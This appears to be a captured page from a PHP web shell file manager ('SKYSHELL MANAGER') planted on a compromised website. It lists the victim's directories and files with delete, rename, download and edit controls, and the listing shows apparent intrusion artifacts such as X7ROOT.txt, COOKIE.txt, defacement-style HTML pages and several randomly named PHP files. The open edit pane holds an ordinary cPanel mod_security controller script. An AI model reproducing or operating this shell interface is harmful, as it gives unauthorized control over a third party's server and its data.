📁
SKYSHELL MANAGER
PHP v8.2.30
Create
Create
Path:
root
/
home
/
qooetu
/
costes.qooetu.com
/
Name
Size
Perm
Actions
📁
.well-known
-
0755
🗑️
🏷️
🔒
📁
2e19d9
-
0755
🗑️
🏷️
🔒
📁
6b114
-
0755
🗑️
🏷️
🔒
📁
Modules
-
0755
🗑️
🏷️
🔒
📁
app
-
0755
🗑️
🏷️
🔒
📁
assets
-
0755
🗑️
🏷️
🔒
📁
bootstrap
-
0755
🗑️
🏷️
🔒
📁
cgi-bin
-
0755
🗑️
🏷️
🔒
📁
config
-
0755
🗑️
🏷️
🔒
📁
css
-
0755
🗑️
🏷️
🔒
📁
database
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
nbproject
-
0755
🗑️
🏷️
🔒
📁
public
-
0755
🗑️
🏷️
🔒
📁
resources
-
0755
🗑️
🏷️
🔒
📁
routes
-
0755
🗑️
🏷️
🔒
📁
storage
-
0755
🗑️
🏷️
🔒
📁
tests
-
0755
🗑️
🏷️
🔒
📁
uploads
-
0755
🗑️
🏷️
🔒
📁
vendor
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0755
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.htaccess
0.23 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
COOKIE.txt
0.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
X7ROOT.txt
0.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
defaults.php
1.29 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
engine.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
error_log
813.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
features.php
11.28 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
googlecfb82e09419fc0f6.html
0.05 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php0
1.56 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
inputs.php
0.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
kurd.html
1.07 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
library.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
min.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
p.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
php.ini
0.04 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
product.php
1.78 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
qpmwztts.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.32 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
tovmbkwh.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
tyyffovi.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
veoxv.html
1.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: configController.js
/* # templates/mod_security/views/configController.js Copyright(c) 2020 cPanel, L.L.C. # All rights reserved. # copyright@cpanel.net http://cpanel.net # This code is subject to the cPanel license. Unauthorized copying is prohibited */ /* global define: false */ define( [ "angular", "lodash", "cjt/validator/datatype-validators", "cjt/validator/ascii-data-validators", "cjt/util/locale", "uiBootstrap", "cjt/directives/autoFocus", "cjt/filters/wrapFilter", "cjt/directives/spinnerDirective", "app/services/configService", "cjt/directives/validationContainerDirective", "cjt/validator/validateDirectiveFactory", "cjt/directives/dynamicValidatorDirective", "cjt/decorators/dynamicName" ], function(angular, _, DATA_TYPE_VALIDATORS, ASCII_DATA_VALIDATORS, LOCALE) { // Retrieve the current application var app = angular.module("App"); var controller = app.controller( "configController", ["$scope", "$location", "$anchorScroll", "$routeParams", "$q", "configService", "spinnerAPI", "PAGE", function($scope, $location, $anchorScroll, $routeParams, $q, configService, spinnerAPI, PAGE) { // Setup some scope variables to defaults $scope.saveSuccess = false; $scope.saveError = false; // setup data structures for the view $scope.configs = []; // Setup the installed bit... $scope.isInstalled = PAGE.installed; /** * SecAuditEngine directive's 'Log All' option is * not recommended security wise. For this we are * re-ordered the log options in UI to make sure it shows up in the end. * @param {Array} configs * @return {Array} */ var reorderSecAuditEngineOptions = function(configs) { _.each(configs, function(cfg) { if (cfg.directive !== "SecAuditEngine") { return; } _.reverse(cfg.radio_options); return false; }); return configs; }; /** * Validate rules for the dynamic validation * @param {Any} value * @param {String} name * @param {Any} arg * @param {Result} result * @return {Boolean} */ $scope.validateField = function(value, name, arg, result) { var regex; if (!value) { result.isValid = true; return true; } var ret; switch (name) { case "path": break; case "startsWith": ret = ASCII_DATA_VALIDATORS.methods.startsWith(value, arg); if (!ret.isValid) { result.isValid = false; result.add(name, LOCALE.maketext("The value must start with the “[_1]” character.", "|")); } break; case "honeypotAccessKey": // http://www.projecthoneypot.org/httpbl_api.php // All Access Keys are 12-characters in length, lower case, and contain only alpha characters regex = /^[a-z]{12}$/; if (!regex.test(value)) { result.isValid = false; result.add(name, LOCALE.maketext("The value that you provided is not a valid [asis,honeypot] access key. This value must be a sequence of 12 lower-case alphabetic characters.")); } break; case "positiveInteger": ret = DATA_TYPE_VALIDATORS.methods.positiveInteger(value); if (!ret.isValid) { result.isValid = false; result.add(name, ret.get("positiveInteger").message); } break; default: if (window.console) { window.console.log("Unknown validation type."); } break; } return result.isValid; }; /** * Toggles the clear button and conditionally performs a search. * The expected behavior is if the user clicks the button or focuses the button and hits enter the button state rules. * If the user hits <enter> in the field, its a submit action with just request the data. * @param {Boolean} inSearch Toggle button clicked. */ $scope.toggleSearch = function(inSearch) { if ( !inSearch ) { $scope.searchPattern = ""; } }; /** * Clears the search field when the user * presses the Esc key * @param {Event} event - The event object */ $scope.clearSearch = function(event) { if (event.keyCode === 27) { $scope.searchPattern = ""; } }; /** * Fetch the list of hits from the server * @return {Promise} Promise that when fulfilled will result in the list being loaded with the new criteria. */ $scope.fetch = function() { $scope.saveSuccess = false; $scope.saveError = false; spinnerAPI.startGroup("loadingSpinner"); return configService .fetchList() .then(function(results) { $scope.configs = reorderSecAuditEngineOptions(results); spinnerAPI.stopGroup("loadingSpinner"); }, function(error) { $scope.saveError = error; spinnerAPI.stopGroup("loadingSpinner"); }); }; /** * Disable the save button based on form state * @param {FormController} form * @return {Boolean} */ $scope.disableSave = function(form) { return form.$pristine || (form.$dirty && form.$invalid); }; /** * Update the changed flag based on the event * @param {Object} setting Setting that changed. */ $scope.changed = function(setting) { setting.changed = true; }; /** * Get the field type for text fields. Either text or number. * @param {Object} setting * @return {String} text || number. */ $scope.getFieldType = function(setting) { return setting.field_type || "text"; }; /** * Construct the model name from the parts * @param {String} prefix * @param {String} id * @return {String} */ $scope.makeModelName = function(prefix, id) { return prefix + id; }; /** * Save the changes * @param {FormController} form * @return {Promise} */ $scope.save = function(form) { $scope.saveSuccess = false; $scope.saveError = false; if (!form.$valid) { return; } var promise = configService.save($scope.configs); // Since the service may not return a promise, // we check this first. if (promise) { promise.then( function(data) { $scope.saveError = false; $scope.saveSuccess = true; form.$setPristine(); var comparisonFactory = function(test) { return function(item) { return item.setting_id === test.setting_id; }; }; // Patch the defaults for items not in default state. for (var j = 0, ll = $scope.configs.length; j < ll; j++) { configService.applyDefaults($scope.configs[j]); } // Patch the state for returned items for (var i = 0, l = data.length; i < l; i++) { var config = _.find($scope.configs, comparisonFactory(data[i])); if (config) { config.state = data[i].state || data[i].default; config.missing = data[i].missing; } } }, function(error) { $scope.saveError = error ? error : LOCALE.maketext("The system experienced an unknown error when it attempted to save the file."); $scope.saveSuccess = false; } ).then(function() { $scope.scrollTo("top", true); }); return promise; } return promise; }; $scope.showLogAllWarning = function(radioOption, directive) { return (radioOption === "On" && directive === "SecAuditEngine"); }; $scope.showLogNoteworthyLabel = function(radioOption, directive) { return (radioOption === "RelevantOnly" && directive === "SecAuditEngine"); }; // check for page data in the template if this is a first load if (app.firstLoad.configs && PAGE.configs) { app.firstLoad.configs = false; $scope.configs = configService.prepareList(PAGE.configs); $scope.configs = reorderSecAuditEngineOptions($scope.configs); } else { // Otherwise, retrieve it via ajax $scope.fetch(); } } ]); return controller; } );
Save